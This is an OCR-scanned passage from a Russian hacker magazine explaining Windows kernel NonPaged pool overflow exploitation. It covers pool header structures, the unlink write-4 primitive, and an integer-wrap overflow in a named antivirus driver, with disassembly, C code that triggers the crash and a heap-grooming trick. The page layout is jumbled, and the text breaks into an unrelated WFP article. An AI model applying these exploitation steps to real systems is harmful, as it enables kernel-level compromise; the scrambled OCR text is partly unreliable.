книги хакеры / журнал хакер / 143_Optimized

ный код внедрялся в ядро Vista. Среди обсуждаемых решений было предложено отключить paged-память. Джоанна Рутковска рекламировала такое решение как более безопасное по сравнению с другими, хотя следствием этого стала небольшая потеря физической памяти. Microsoft отказывается от прямого доступа к диску, что подтверждает важность таких возможно-

стей ядра Windows, как Paged- и NonPaged-пулы. Эта статья написана с упором на NonPaged pool, так как обработка Paged-Pool происходит совершенно иначе. NonPaged pool можно рассматривать как более ли менее типичную реализацию heap. Подробная информация о системных пулах доступна в Microsoft Windows Internals.

Таблица NonPaged pool

Алгоритм выделения должен быстро распределять наиболее часто используемые объемы. Поэтому существуют три разные таблицы, каждая из которых выделяет память определенного диапазона. Такую структуру я обнаружил в большинстве алгоритмов управления памятью. Считывание блоков памяти с устройств занимает некоторое время, поэтому в алгоритмах Windows происходит балансировка между скоростью ответа и оптимальным выделением памяти. Время ответа сокращается, если блоки памяти сохраняются для последующего выделения. С другой стороны, избыточное резервирование памяти может сказаться на производительности.

Таблица представляет собой отдельный способ хранения блоков памяти. Мы рассмотрим каждую таблицу и ее местоположение.

NonPaged lookaside — таблица, назначаемая каждому процессору и работающая с объемами памяти, менее или равными 256 байт. У каждого процессора есть контрольный реестр (PCR), хранящий служебные данные процессора — уровень IRQL, GDT, IDT. Расширение реестра называется контрольным регионом (PCRB) и содержит lookaside-таблицы.

Lookaside-таблицы предоставляют наиболее быстрое считывание блоков памяти по сравнению с другими типами. Для такой оптимизации очень важно время задержки, а односвязный список (который реализован в Lookaside) тут намного эффективнее, чем двухсвязный.

Функция ExInterlockedPopEntrySList используется для

ВЗЛОМ

Алгоритмы выделения и освобождения памяти

Распределение памяти ядром в разных версиях ОС почти не меняется, но этот алгоритм не менее сложен, чем heap пользовательских процессов.

В этой части статьи я хочу проиллюстрировать основы поведения таблиц в ходе процедур выделения и освобождения памяти. Многие детали, такие как механизмы синхронизации, будут намеренно опущены. Эти алгоритмы помогут в объяснении метода и понимании основ распределения памяти в ядре (см. схемы).

От синего экрана смерти до исполнения желаний

При переполнении динамической памяти обычно затираются метаданные других выделенных блоков, что в основном ведет к нескольким BugCheck'ам (или, попросту, BSOD'ам):

BAD_POOL_HEADER. Вызывается в коде ExFreePoolWithTag,

если PreviousSize следующего чанка не равен BlockSize текущего чанка.

BAD_POOL_HEADER (19)

The pool is already corrupt at the time of the current request. This may or may not be due to the caller. The internal pool links must be walked to figure out a possible cause of the problem, and then special pool applied to the suspect tags or the driver verifier to a suspect driver.

Arguments:

Arg1: 00000020, a pool block header size is corrupt. Arg2: 812c1000, The pool entry we were looking for within the page. <---- освобождаемый чанк

Arg3: 812c1fc8, The next pool entry. <---- следующий чанк, заголовок которого мы затерли

Arg4: 0bf90000, (reserved)

DRIVER_CORRUPTED_EXPOOL. Вызывается в коде

ExFreePoolWithTag, если при unlink'e произошло исключение Page Fault.

DRIVER_CORRUPTED_EXPOOL (c5)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is caused by drivers that have corrupted the system pool. Run the driver verifier against any new (or suspect) drivers, and if that doesn't turn up the culprit, then use gflags to enable special pool.

Arguments:

Arg1: 43434343, memory referenced <----- наше фейковое значение Blink'a

Arg2: 00000002, IRQL

Arg3: 00000001, value 0 = read operation, 1 = write operation

Arg4: 80544d06, address which referenced memory

BAD_POOL_CALLER. Вызывается в коде ExFreePoolWithTag, если чанк, который пытаются освободить, уже является освобожденным. Рассмотрим подробнее заголовок (метаданные) чанка:

Заголовок чанка

typedef struct _POOL_HEADER

{

union

{

struct

{

USHORT PreviousSize : 9; USHORT PoolIndex : 7; USHORT BlockSize : 9; USHORT PoolType : 7;

}

ULONG32 Ulong1;

}

union

{

struct _EPROCESS* ProcessBilled; ULONG PoolTag;

struct

{

USHORT AllocatorBackTraceIndex; USHORT PoolTagHash;

}

}

}POOL_HEADER, *POOL_HEADER;

//sizeof(POOL_HEADER) == 8

Значения PreviousSize, BlockSize вычисляются следующим образом:

PreviousSize = (Размер_Предыдцщего_Чанка_В_Байтах

+sizeof(POOL_HEADER)) / 8 BlockSize = (Размер_Чанка_В_Байтах

+sizeof(POOL_HEADER)) / 8

Если значение PoolType равно нулю, то такой чанк является освобожденным, и после заголовка идет структура nt!_LIST_ENTRY.

kd> dt nt!_LIST_ENTRY

+0x000 Flink : Ptr32 _LIST_ENTRY

+0x004 Blink : Ptr32 _LIST_ENTRY

Эксплуатация

Алгоритм освобождения чанка работает таким образом, что если после освобождаемого чанка есть свободный, то происходит слия-

>0xFF0

В зависимости от количества хранимых в MmNonPagedPoolFreeListHead блоков используются разные алгоритмы

ние, то есть из двух свободных чанков склеивается один. Это происходит путем нехитрой операции unlink'a.

Удаляем запись entry из двусвязного списка:

PLIST_ENTRY b,f; f=entry->Flink; b=entry->Blink; b->Flink=f; f->Blink=b;

Это ведет к перезаписи 4 байт по контролируемому адресу:

*(адрес) = значение *(значение+4) = адрес

Практикуемся!

Обладая достаточными знаниями, рассмотрим уязвимость в драйвере одного антивирусного продукта.

;Тут происходит запись за границы

.text:000163AD inc edx

.text:000163AE inc edx

.text:000163AF test si, si [..]

.text:000163F5 push ebx; P

.text:000163F6 call sub_12A43

.text:00012A43 sub_12A43 proc near

;CODE XREF: sub_12C9A+5Cp

.text:00012A43

.text:00012A43 P = dword ptr 4

.text:00012A43

.text:00012A43 cmp esp+P], 0

.text:00012A48 jz short locret_12A56

.text:00012A4A push 0; Tag

.text:00012A4C push [esp+4+P]; P

.text:00012A50 call ds:ExFreePoolWithTag

;Освобождение, write4 сценарий

C-подобный псевдокод

len = wsclen(attacker_controlled); total_len = (2*len + 0x50) ;

size_2_alloc = (WORD)total_len; // integer wrap!!! mem = ExAllocatePool(size_2_alloc);

....

wcscpy(mem, attacker_controlled); //переполнение происходит при копировании строк

...

ВЗЛОМ

ExFreePool(mem); //тут происходит освобождение, слияние с чанком, который мы создали, сформировав фейковый заголовок, мы перезаписываем указатель в памяти ядра, адресом в пользовательском адресном пространстве, где лежит наш ring0-shellcode

Как видно из кода, уязвимость связана с приведением целочисленных типов, которая ведет к тому, что размер для юникод-строки будет рассчитан неправильно. Все это приведет к переполнению, если передать драйверу буфер с юникод-строкой больше 0xffff байт.

Нехитрый код для воспроизведения BSoD

hDevice = CreateFileA("\\\\.\\KmxSbx", GENERIC_READ|GENERIC_WRITE, 0, 0,

OPEN_EXISTING, 0,

NULL); inbuff = (char *)malloc(0x1C000); if(!inbuff)

{

printf("malloc failed!\n"); return 0;

}

memset(inbuff, 'A',0x1C000-1); memset(buff+0x11032, 0x00, 2);

//end of unicode, size to allocate 0xff0 ioctl = 0x88000080;

first_dword = 0x400;

memcpy(buff, &first_dword, sizeof(DWORD)); DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff,

0x1C000, (LPVOID)inbuff, 0x100, &cb,NULL);

Эксплуатация данной уязвимости не так проста, как может показаться на первый взгляд. Здесь имеют место некоторые ограничения, а именно — переполнение (запись за границы чанка) огромное (больше 0xffff), что потенциально ведет к синему экрану еще до исполнения ExFreePoolWithTag (и, следовательно, к замене указателей при слиянии):

Arg4: 00000000, (reserved)

eax=00029fa8 ebx=fe8a7008 ecx=00000008 edx=fe880058 esi=00004141 edi=fe87d094

eip=f0def3a9 esp=f0011b78 ebp=f0011bac iopl=0 nv up ei pl nz na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206

KmxSbx+0x63a9:

f0def3a9 66893410 mov word ptr [eax+edx],si ds:0023:fe8aa000=???? <---- запись за границу, улетели в неспроецированную память

При перезаписи памяти мы можем переписать данные, которые являются указателями каких-либо ядерных структур, что может привести к самым неожиданным последствиям (очередному BSoD).

Для улучшения эффективности эксплуатации данной уязвимости воспользуемся следующим трюком: создадим N потоков, которые вызывают DeviceIoControl, с такими параметрами, чтобы с какой-то вероятностью N количество блоков определенной длины (0xff0 в данном примере) были выделены, затем освобожде-

ны — это дает нам шанс, что при переполнении мы не получим синий экран типа Page Fault (PAGE_FAULT_IN_NONPAGED_AREA).

Предложенный пример кода с подробными комментариями ищи на нашем DVD.

Выводы

На прощание могу лишь сказать, что в интернете очень мало информации об эксплуатации Kernel Pool Overflow. Также огорчает, что в паблике нет рабочих эксплойтов, из-за чего создается некое заблуждение, что переполнение памяти в ядре очень сложно эксплуатировать, а если и возможно, то максимальный исход злодеяний — обычный BSoD.

Вэтой статье авторы попытались показать на реальном примере, что, подключив смекалку, можно улучшить стабильность методов эксплуатации подобных уязвимостей.

Вдальнейших статьях мы поговорим о более сложных аспектах эксплуатации Kernel Pool Overflow, которые, конечно, существуют и ждут своего часа :). Stay tuned! z

PAGE_FAULT_IN_NONPAGED_AREA (50)

Invalid system memory was referenced. This cannot be protected by try-except,

it must be protected by a Probe. Typically the address is just plain bad or it

is pointing at freed memory.

Arguments:

Arg1: fe8aa000, memory referenced.

Arg2: 00000001, value 0 = read operation, 1 = write operation.

Arg3: f0def3a9, If non-zero, the instruction address which referenced the bad memory address.

Kernel Pool Overflow

Potential list entry depending on chunk type

Незатейливая схема алгоритма, который мы осуществили

X-testing

http://lotus.xakep.ru

сontest

WFP

ИЗНУТРИ

ИсследуемвнутренностиWindows FilteringPlatform

Методика исследования

Сначала немного определимся с определениями. Callout в терминологии WFP — это набор функций для фильтрации трафика. У нас есть три функции, составляющие callout: classifyFn, notifyFn, flowDeleteFn (см. структуру FWPS_CALLOUT). Интереснее всего classifyFn (классифицирующая функция): она, собственно, и решает, что делать с соединением/пакетом — разрешить или запретить. notifyFn просто уведомляет (как можно понять из названия) о создании и удалении фильтра. Фильтр — это набор условий филь-

трации. Когда мы вызываем функцию FwpsCalloutRegister, и нам возвращают 32-битный идентификатор коллаута.

Далее я не буду останавливаться на определениях, элементарные вещи ты сможешь вычитать в доках, ссылки на которые найдешь на боковых сносках. Еще одно замечание — для удаленной отладки используем WinDbg, гостевая система

— Windows Vista x64, дизассемблер — Ida Pro, символы для дебаггера корректны. Перезагрузить их (символы) можно командой .reload /s /n. Для того, чтобы успешно исследовать внутреннее устройство WFP, нужно выработать определенный